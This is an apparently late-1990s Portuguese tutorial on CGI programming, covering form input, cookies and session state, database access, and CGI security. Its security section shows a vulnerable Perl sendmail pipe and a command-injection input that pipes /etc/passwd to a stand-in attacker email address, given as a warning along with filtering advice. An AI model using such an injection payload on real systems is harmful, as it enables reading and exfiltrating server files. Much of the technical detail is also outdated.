O CGI (Common Gateway Interface) serve para fazer a ligao entre o servidor www e a mquina servidora. Ele utilizado para qualquer tipo de servio, desde contadores at acesso a banco de dados. A utilizao de CGIs no servidor geralmente est relacionada com o processamento de dados enviados por formulrios. A programao no complicada, e se voc consegue fazer um programa que leia a STDIN e escreva na STDOUT (STandard OUTput), ento voc consegue escrever CGIs. Se voc no programador, infelizmente esse material no vai te ajudar muito. Voc tem que aprender as noes de programao ANTES de qualquer coisa. Vamos comear explicando o que CGI. CGI NO uma linguagem, um programa. Um CGI pode ser escrito em QUALQUER linguagem que leia a STDIN, escreva na STDOUT e consiga ler variveis de ambiente. No Unix, praticamente TODAS as linguagens tem esses atributos, mas as preferidas so C, Perl ou mesmo as Shells (sh, csh, bsh). :) A estrutura de um CGI simples, e consiste basicamente de 3 passos: Ler a entrada dos dados Manipul-los Devolver a resposta em HTML. Vamos descrever ento o primeiro e o ltimo passo, sendo que o passo intermedirio fica a seu cargo

Lendo a STDIN
Quando um usurio envia um formulrio, seu programa recebe os dados como um conjunto de campos no formato nome=valor. Os nomes so definidos no formulrio, quando voc define os campos com as instrues INPUT, SELECT, etc. Os valores so qualquer coisa que o usurio digitou ou selecionou. Os dados so passados para o seu programa como uma string longa, que voc precisa quebrar para separar os valores. Isto no complicado, e temos comandos na shell Unix (como CUT ou AWK) que servem para isso. Existem rotinas prontas na Internet que fazem isso tambm. O formato dessa string :
name1=value1&name2=value2&name3=value3

Ela vem nesse formato para facilitar a diviso. Os sinais de & dividem as variveis. Mais dois detalhes: no caso de um formulrio com a instruo TEXTAREA, os espaos em branco so convertidos em sinais de +, e caracteres acentuados e os sinais de =, &, e outros que so utilizados na montagem da string so convertidos para o seu cdigo em ASCII. O programa que separa as varveis normalmente j faz a converso desses valores. Essa string pode ser passada para o seu programa de duas maneiras diferentes, dependendo do mtodo que foi especificado na instruo METHOD do formulrio: No mtodo GET, a string enviada via uma varivel de ambiente, chamada QUERY_STRING. No mtodo POST, ela lida da STDIN. O mtodo POST o mais indicado para formulrios complexos.

Enviando para a STDOUT


Depois do programa ter recebido as variveis e processado os valores, hora de mandar uma resposta ao cliente. muito mais simples do que receber a entrada. Siga os passos: Escreva a linha Content-Type: text/html (sem as aspas) Escreva uma linha em branco (Enter) Escreva a sada que voc deseja enviar ao cliente.

Apenas isso. Quando o programa terminar, a pgina de resposta automaticamente vai para a STDOUT, e o servidor vai enviar o contedo para o cliente. Isso significa que seu programa, na verdade, est gerando cdigo HTML em tempo real. No complicado, e o HTML foi desenhado para ser uma linguagem simples. Nota: A sada do comando pode ser um arquivo texto (um relatrio, por exemplo) ou ento uma imagem. Nesse caso, basta alterar o Content-Type para o tipo apropriado.

Como implementar o conceito de transao nos meus programas CGI ?


Como explicado no curso de Webmaster Bsico , o protocolo www stateless, quer dizer, no existe nenhum tipo de contato entre cliente e servidor, a no ser em transferncia de dados. Na prtica, isso quer dizer que no tem jeito de manter uma transao usando apenas HTML e CGI, por que dessa maneira o servidor www no tem jeito de diferenciar efetivamente o cliente. Como exemplo de transao, podemos citar uma incluso de dados. O cliente tem que fornecer vrios dados em seqncia, que so consistidos. Caso estejam corretos, realizada a incluso. Esses dados podem levar o cliente a vrias telas diferentes, de acordo com os dados dos campos anteriores. Num formulrio www, existe pouca coisa que se pode fazer com respeito a consistncias, e menos ainda com relao continuidade da transao. Mas existem maneiras de identificar o cliente, de modo que o programa CGI no servidor possa dar continuidade transao do ponto onde parou. Uma das maneiras usar campos escondidos no prprio formulrio, como no exemplo:
<INPUT TYPE=hidden NAME=user VALUE=123>

Com essa informao, o CGI pode identificar o cliente. Note que hidden no quer dizer secreto, isto , o usurio sempre pode clicar no View Source. Outra maneira utilizar a varivel de ambiente PATH_INFO. Essa varivel serve para a passagem de texto adicional na URL que vai ser acessada pelo programa CGI depois do nome do programa. Por exemplo, se a URL do seu programa for:
http://www.unicamp.br/cgi-bin/lista.cgi

Mas voc abrir em vez disso a URL:


http://www.unicamp.br/cgi-bin/lista.cgi/fabio/gacli

O programa lista.cgi vai ser executado e ter a sua disposio uma varivel de ambiente que vai conter o texto passado aps a chamada do CGI. Desse modo seu programa tambm consegue manter informaes para o usurio. S um detalhe: URLs tem um tamanho mximo de 1024 caracteres. Se o nmero de informao crescer muito, pode-se criar um arquivo temporrio no servidor, que contenha todos os parmetros e que seja acessvel por um ndice nico, mandado via PATH_INFO. Outra maneira de manter a transao usando Cookies. O Cookie um mecanismo novo, proposto pela Netscape (mas que hoje aceito na maioria dos browsers) que permite ao browser manter informaes que so gravadas pelo servidor. Toda vez que o cliente entrar em contato com o servidor que programou o Cookie, ele vai enviar o contedo dos Cookies para esse servidor. Por exemplo, seu programa CGI pode usar a seguinte rotina para programar um Cookie:
echo Content-type: text/html echo echo Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Jul-97 23:59:59 GMT; path=/cgi-bin/ echo <h1>Texto da pgina<h1> ...

Essa linha gera um Cookie que sempre vai ser enviado de volta para seu servidor com qualquer pedido de documento que tenha a palavra /cgi-bin/ na URL. O Cookie vai continuar a ser enviado at sua data de expirao. O tempo de expirao deve ser o GMT. Quando o programa for acessado novamente pelo usurio, o valor dos Cookies vai ser passado pela varivel de ambiente HTTP_COOKIE. Cada Cookie vai ser apresentado no formato
NOME=VALOR;NOME1=VALOR1;...;NOMEn=VALORn

Veja a referncia da Netscape ao uso do Cookie para maiores esclarecimentos.

Acesso a bancos de dados


O servidor www capaz de acessar dados armazenados no servidor. Isso pode ser feito de diversas maneiras, desde programao de interfaces com o banco de dados atravs de CGIs at a compra de um SGBD que permita o acesso via protocolo HTTP. Em qualquer caso, o acesso a bases de dados representa um aumento na preocupao em termos de segurana, uma vez que os dados vo ficar mais expostos e vulnerveis a ataques, uma vez que a base est ligada de alguma maneira ao servidor. Quando o projeto de ligao for iniciado, deve-se inicialmente considerar os dados que devero ser disponibilizados e a maneira de se concretizar o acesso. Devemos lembrar que no existe o conceito de transao HTTP, isto , no podemos fazer com que as vrias telas de uma incluso, por exemplo, sejam dependentes umas das outras de maneira automtica. Isso deve ser feito usando cookies e outras tcnicas para armazenamento de dados temporrios, o que nos traz uma mudana no paradigma para a programao, tornando esse tipo de aplicao um pouco mais trabalhoso para confeccionar. Devemos lembrar tambm que o HTML no permite consistncias nos campos de um formulrio, por exemplo. Caso isso seja necessrio, devemos usar Java ou Javascript.

Banco de dados, clientes


O cliente www (Netscape, Internet Explorer, etc.) funciona mandando um pedido para um servidor www, que recebe o pedido, interpreta e devolve o resultado. O cliente recebe o HTML que informa como ele deve proceder quando houver a interao do usurio (o famoso click). O HTML permite a confeco de formulrios para entrada de dados, de modo que o servidor www consegue receber um pedido parametrizado. Esses parmetros podem ser enviados para um programa no servidor (Common Gateway Interface, ou CGI), que por sua vez faz o acesso base de dados (que est na mesma mquina). Esse programa gera um relatrio e o devolve ao cliente. A integrao com a base assim se completa, no esquema abaixo:

Num ambiente de produo comum, temos uma linguagem especializada, na qual o desenvolvedor tem acesso a uma srie de rotinas para criar telas de entrada de dados, relatrios de sada, e linguagem de acesso base de dados. O HTTP inicialmente no foi projetado como um ambiente que faria acesso a bancos de dados, ento essas rotinas tem que ser implementadas utilizando criatividade e pacincia. Na parte do cliente, o principal problema que o HTML uma linguagem de editorao, e no tem nenhuma instruo para consistncia dos campos. Para isso, utiliza-se mais comumente um applet Java, ou cdigo Javascript, ou LiveWire (Netscape), ou Visual Basic Scripting (Microsoft). Algumas dessas solues no se aplicam a todos os browsers (como o VBS), obrigando a adequaes nem sempre funcionais. Voc pode optar por consistncias simples (que no tem interao com a base), ou por rotinas mais complexas, permitidas por Java+JDBC, ou por LiveWire ou VBS. Essas tecnologias permitem que o HTTP entre em contato com a base de dados no servidor. No primeiro caso, as consistncias tero que ser implementadas em tempo de programa, e caso haja erro o programa ter de acus-lo e reapresentar o formulrio. Uma vez escolhido o mtodo de consistncia, vamos ao servidor.

Base de dados, servidores


Depois dos detalhes no cliente terem sido resolvidos, hora da estratgia de acesso propriamente dita, no servidor. Basicamente, os bancos de dados hoje em dia esto em WindowsNT (com Access, FoxPro, etc), em mquinas Unix (com Informix, Oracle, Sybase, etc) ou em mquinas de grande porte (com RDB, DB2, etc). Apesar da variedade, identificamos apenas dois casos distintos: a base de dados pode estar na mesma mquina do servidor www ou no. Normalmente acontece o primeiro caso, mas existem procedimentos para o segundo caso tambm. SGDB e WWW no mesmo servidor. Nesse caso, temos uma srie de estratgias que podem ser adotadas. Se a base de dados j existe, a maneira mais simples de fazer a conexo utilizando tecnologia j oferecida por alguns fabricantes de SGDBs, como a Oracle ou a Microsoft, que tem tecnologias prontas para o acesso. O nico detalhe que essas tecnologias so proprietrias, e exigem uma srie de produtos especficos para funcionarem. Uma outra opo a utilizao de CGIs, que podem ser feitos em qualquer linguagem que faa o acesso ao banco de dados, via SQL puro ou ODBC. Nesse caso, no importa a linguagem, e na soluo com ODBC, alguns fabricantes oferecem gratuitamente seus drivers. Uma soluo intermediria entre a soluo proprietria e a soluo CGI utilizando produtos que permitem a ligao utilizando linguagens no proprietrias, como no caso do LiveWire. Se a base no existe, qualquer soluo acima pode ser escolhida, e existem outras (at de software shareware) que foram desenhadas para esse tipo de acesso, como o Mini Sql, que conta com uma interface para acesso, o W3-mSQL.

Base de dados, servidores


SGDB e WWW em servidores separados. Esse caso um pouco mais complicado. Aqui teremos que nos concentrar na conexo entre as mquinas, que varia bastante entre as plataformas. E em alguns casos, no possvel. Separamos 2 opes diferentes para estudo. ODBC e afins Aqui temos uma mquina com um servidor www qualquer, ligado via ODBC a outra mquina, que tem o SGBD, como no esquema abaixo:

Essa soluo prtica, e permite a ligao de praticamente todos os SGBD. Entretanto, no elimina a necessidade de um CGI onde est o servidor www, para que possamos enviar o SQL para a outra mquina. A performance excelente, e permite a reutilizao dos CGIs, caso haja alteraes no ambiente (a interface ODBC sempre a mesma). Essa soluo genrica, e podemos aproveitar a ligao ODBC para ligar outros servidores. Como exemplo, podemos citar o SQLServer da Microsoft, que tem a capacidade de ligao com um SNAServer, o que torna possvel a ligao de bases em Mainframes IBM com um servidor WindowsNT, de modo que os dados possam ser disponibilizados da mesma maneira. Outras maneiras Solues feitas sob medida tambm podem ser criadas. A Unicamp testou com sucesso 3 solues para acesso, todas elas tendo em vista necessidades especficas de nosso ambiente. Uma das opes, ligando duas servidoras Unix, foi fazer um CGI que fazia uma chamada via RSH para outra servidora Unix que tem uma base de dados baseada em Informix. Esse RSH enviava os parmetros para um programa 4GL (linguagem de desenvolvimento do Informix) que executava uma aplicao que acessava a base e trazia o relatrio, que era enviado por sua vez de volta ao servidor www. Essa opo considerada lenta, e insegura, pois a RSH supe que as duas mquinas tem uma relao de confiana e segurana entre elas, o que no era verdadeiro. Outra opo consistia em ter um servidor www principal, que serve pginas e formulrios, e outro servidor www simples, que s executa CGIs. Nesse caso, o cliente conecta no primeiro e recebe um formulrio que ao ser preenchido, enviado para o segundo servidor, que executa um CGI em Pascal que faz a pesquisa na base, enviando o relatrio para o cliente. Essa opo uniformiza o uso dos formulrios, e torna segura a conexo, pois os dados so enviados via mtodo POST e no necessita de nenhum relacionamento especial entre as mquinas. Mas tambm lenta. Essa opo permite at que uma linguagem com mtodos de acesso a rede (como Visual Basic 5.0, Visual C++ 5.0 ou Java) possa acessar vrias bases num s programa, como no esquema abaixo:

Uma ltima opo testada com sucesso um CGI no servidor www que envia um pedido ao Mainframe IBM com pedidos de consulta. Esse pedido interpretado pelo JES2 (gerenciador de aplicaes do IBM) e executado por um programa Cobol, que recebe os parmetros, faz a consulta na base e devolve os resultados. A comunicao entre o Mainframe e a mquina feita via FTP. Essa a soluo mais lenta e insegura, pois deve existir uma rea que tenha privilgios para leitura na base, e que no pede senha para entrar. As trs opes funcionam, seus tempos de resposta variam bastante e so todas inseguras. Para segurana em aplicaes distribudas no basta apenas encriptar os dados, temos que garantir a integridade das informaes e que a transao realmente se completou de maneira correta, tanto do lado do cliente quando do lado do servidor. Isso conseguido via solues prontas de servidor de certificados e transaes. Existem vrias solues no mercado, como por exemplo, a da Netscape.

Segurana nos CGIs


O CGI (Common Gateway Interface) hoje em dia uma das mais usadas ferramentas para acesso a dados e execuo de praticamente qualquer tipo de servio. Pela sua prpria natureza, o CGI gera brechas de segurana que podem causar grandes estragos na mquina onde o servidor www est instalado. De maneira geral o CGI feito para executar algum processamento, que normalmente o necessita de dados (parmetros) para funcionar. Esses dados, no ambiente www, so adquiridos via formulrio. O cuidado com as informaes recebidas um dos pontos iniciais para se prevenir sobre a questo segurana no servidor. Nunca subestime o tempo que um hacker vai usar para tentar entrar no seu servidor. Para ele, isto uma forma de jogo; eles esto tentando provar a eles mesmos e a voc que eles na verdade so mais espertos que voc. A maioria deles vai tentar obter acesso conta mais privilegiada que seu sistema possui, e normalmente far isso via rede. Administradores preguiosos e programas mal escritos podem dar a um hacker exatamente o que ele precisa para isso. Muitos programas cgi so vulnerveis, especialmente aqueles que esto liberados na Internet, uma vez que todos tiveram tempo de analis-lo e explorar suas eventuais falhas. Muitos desses programas so considerados perigosos h mais de 1 ano, e mesmo assim encontram-se vrios servidores ainda funcionando com esses produtos (como o phf.cgi, que era distribudo junto com os servidores Apache desde janeiro de 1996). At mesmo o programa count.cgi, o mais comum programa para incluir contadores numa pgina teve um bug reportado no comeo do ano. Como medidas bsicas para proteger seus scripts desses ataques, o primeiro conselho NUNCA executar seu servidor www com um usurio privilegiado. Muitos administradores no querem perder tempo resolvendo problemas de permisses, ento eles resolvem simplificar as coisas executando seu httpd com permisso do administrador. Isso claramente compromete a segurana, uma vez que os scripts e os cgis so executados com o privilgio do usurio sob o qual o servidor executado. O prximo passo se livrar de todos os scripts que vieram de exemplo com o servidor, ou aqueles que voc no utiliza. Esses produtos, se ficarem perdidos no seu servidor, podem virar uma porta de entrada para intrusos depois de bem estudados por eles. interessante que apenas o usurio responsvel (ou o Webmaster) tenha acesso ao diretrio de scripts, para evitar que algum usurio no autorizado coloque algum programa e o execute. Lembre-se que um hacker no ataca necessariamente pela rede, e muitas empresas tem prejuzos com ataques vindos de seus prprios empregados. O usurio habilitado para colocar os programas deve examinar cuidadosamente o cdigo do programa, test-lo de todas as maneiras possveis e verificar suas permisses de execuo. O desenvolvedor deve tomar cuidado o uso com caracteres que tem significado especial para o sistema operacional, como os |, >, <, ;, etc. Procure incorporar ao programa uma rotina de consistncia inicial que permita ao usurio apenas enviar caracteres permitidos (como os do conjunto entre A a Z e entre 0 a 9). Uma das maneiras mais seguras de proteger seus programas do estudo de outras pessoas usar apenas programas compilados, que no permitem acesso ao cdigo fonte. Isso torna mais difcil algum estudar seu programa e descobrir suas eventuais falhas. Um programa C compilado oferece menos perigo do que um programa Perl, que interpretado. Chamadas diretas ao sistema, ou a execuo de aplicativos sem tratamento pode fornecer material para invasores. Por exemplo, um programa em Perl que envia mail:
... open MAIL, | /usr/lib/sendmail $destino || die Cant open pipe: $!\n; ...

Se um hacker enviar pelo formulrio a linha abaixo, que fosse atribuda varivel $destino:
; cat /etc/passwd | mail hacker@devil.com

Um modo de evitar esse tipo de abordagem evitar que o comando leia os parmetros diretamente, ou filtrar a entrada, para evitar ler o caracter ;.

O ambiente no futuro
Basicamente, hoje, o servidor www se limita a receber pedidos e passar os arquivos. Ele cumpre muito bem a funo para o qual foi desenhado, mas seus idealizadores nunca imaginaram que o ambiente iria se tornar o front-end para aplicaes mais desejado do mercado. Ainda existe uma srie de detalhes a serem resolvidos, mas a tendncia daqui para frente que o ambiente deve ser gradualmente integrado com servios comuns de rede. Isso vai facilitar a incluso e recuperao de informaes, e gradualmente o HTML ir desaparecer. Dessa maneira, se tornar uma poderosa ferramenta de controle gerencial e de busca de informaes, tudo integrado na mesma interface. Tudo com controle de acesso, segurana da privacidade da informao, workflow, etc. A nova verso do HTTP (1.1) prev a implementao de conexo persistente, compresso de dados em tempo de envio, a integrao de um cache de documentos mais acessados, e novos mtodos para acesso de dados, tanto para receb-los quanto para carreg-los. O protocolo vai ser mais rpido, eliminando o slow start, que faz com que a conexo www seja lenta. Especialistas dizem que s de implementar clientes e servidores com o novo HTTP, j teremos um aumento de performance de at 4 vezes. Veja as pginas do W3C para maiores detalhes. Se a tendncia se confirmar, o novo ambiente resultante desses novos padres vai exigir mquinas cada vez maiores e Webmasters cada vez mais especializados nesse ambiente, at que finalmente o usurio local poder ter toda sua rea de trabalho num site www, que pode ser acessado via cliente www de qualquer lugar do mundo, com toda a segurana e de qualquer plataforma. Em 1996, 90% dos browsers eram Netscape, e sua verso 2.0 ainda estava em beta. O Internet Explorer ainda estava em sua primeira verso, e o Windows95 estava no mercado h apenas 4 meses. O HTML ainda estava na verso 2.0, que trouxe a tag <TABLE>. Falava-se de HTML 3.0, que traria os frames. A maioria das pessoas usavam servidores Apache e CERN, e quase todos os clientes nem sabiam o que era uma URL. Em 2 anos, Netscape e Explorer passaram para a verso 4.0, no se fala mais de frames e sim de Style Sheets, a estamos prximos ao HTML 4.0. Existem dezenas de servidores no mercado, muitos em ambiente NT, a maioria oferecendo mais do que apenas pginas, mas vendas on-line, acesso a banco de dados, e todo o mundo sabe o que a web hoje em dia. Isso prova que fazer previses a respeito desse ambiente bobagem. Mas existem algumas consideraes, obtidas de experincia de alguns mestres na web, sobre o que ir acontecer a curto prazo. Relacionamos algumas. XML: O XML (Extensible Markup Language) uma verso simplificada do SGML (Standardized General Markup Language). O SGML usado para criar linguagens especficas de apresentao. O HTML, por exemplo, foi criado usando os padres SGML. Quando o XML apareceu, muitos disseram que ele ir substituir o HTML. Mas isso no ir acontecer, pois elas se prestam a coisas diferentes, e o XML muito mais difcil de usar. Diferentemente do HTML, voc no pode criar pginas com o XML, mas definir uma linguagem para ento definir as pginas. Como as linguagens so dependentes dos browsers, voc teria que criar plug-ins para os browsers reconhecerem sua linguagem. O processo todo muito complicado para ser utilizado por um usurio e um cliente comum. HTML 4.0: Por muitos anos o padro HTML foi lanado para alguns meses depois estar desatualizado. No incio a Netscape puxava o carro, introduzindo novas tags que eram depois copiadas pelos outros browsers. H algum tempo no se criam novas tags, e agora a verso 4.0 deve chegar com todas as tags existentes j formalizadas e vai definir o que todos os browsers iro entender. Diz-se que essa verso ir trazer como novidades algumas extenses de <TABLE> e formalizar os frames. Seu lanamento est previsto para 1998. A verso 5.0 deve sair prximo ao ano 2000. Ferramentas de autoria: Depois de alguns meses que o HTML foi lanado, surgiram os primeiros editores para facilitar a vida das pessoas que trabalhavam com ele. Quase 1 ano depois, os editores WYSIWYG prometiam que ningum mais teria que aprender HTML para fazer suas pginas. Mas esses editores quase sempre se desatualizavam em alguns meses, medida que novas tags iam sendo lanadas e eles no ofereciam uma viso global da estrutura do site. Hoje em dia, existem produtos que realmente fazem a integrao homem-site, oferecendo recursos suficientes que realmente tornam a manuteno de um site e de seu contedo muito mais simples. A utilizao desse tipo de produto vai explodir daqui para frente.

Style Sheets: As Style Sheets surgiram em 1997, e so suportadas pelo Netscape e pelo Explorer. Mas at hoje poucas pessoas usam essa tcnica. Ela permite que um cliente, mesmo utilizando um browser incompatvel com a tecnologia ainda visualize uma pgina comum, permitindo que o usurio ainda tenha acesso informao. E quando esse usurio fizer um upgrade de seu browser, ele ter uma grata surpresa. As Style Sheets tornam a manuteno do layout e das fontes uma coisa muito fcil, e so vlidas por partes ou pelo seu site todo. Quer mudar suas cores de fundo ? Altere sua Style Sheet e todo seu site acompanhar a mudana. Em 1998, mais e mais designers iro estudar e implementar essa tecnologia, que apesar de chegar devagar, vai chegar para ficar.

Links Recomendados
Netscape Enterprise Developer - http://www.ne-dev.com/ Wired - http://www.wired.com/ Sun On-line http://www.sun.com/

Anda mungkin juga menyukai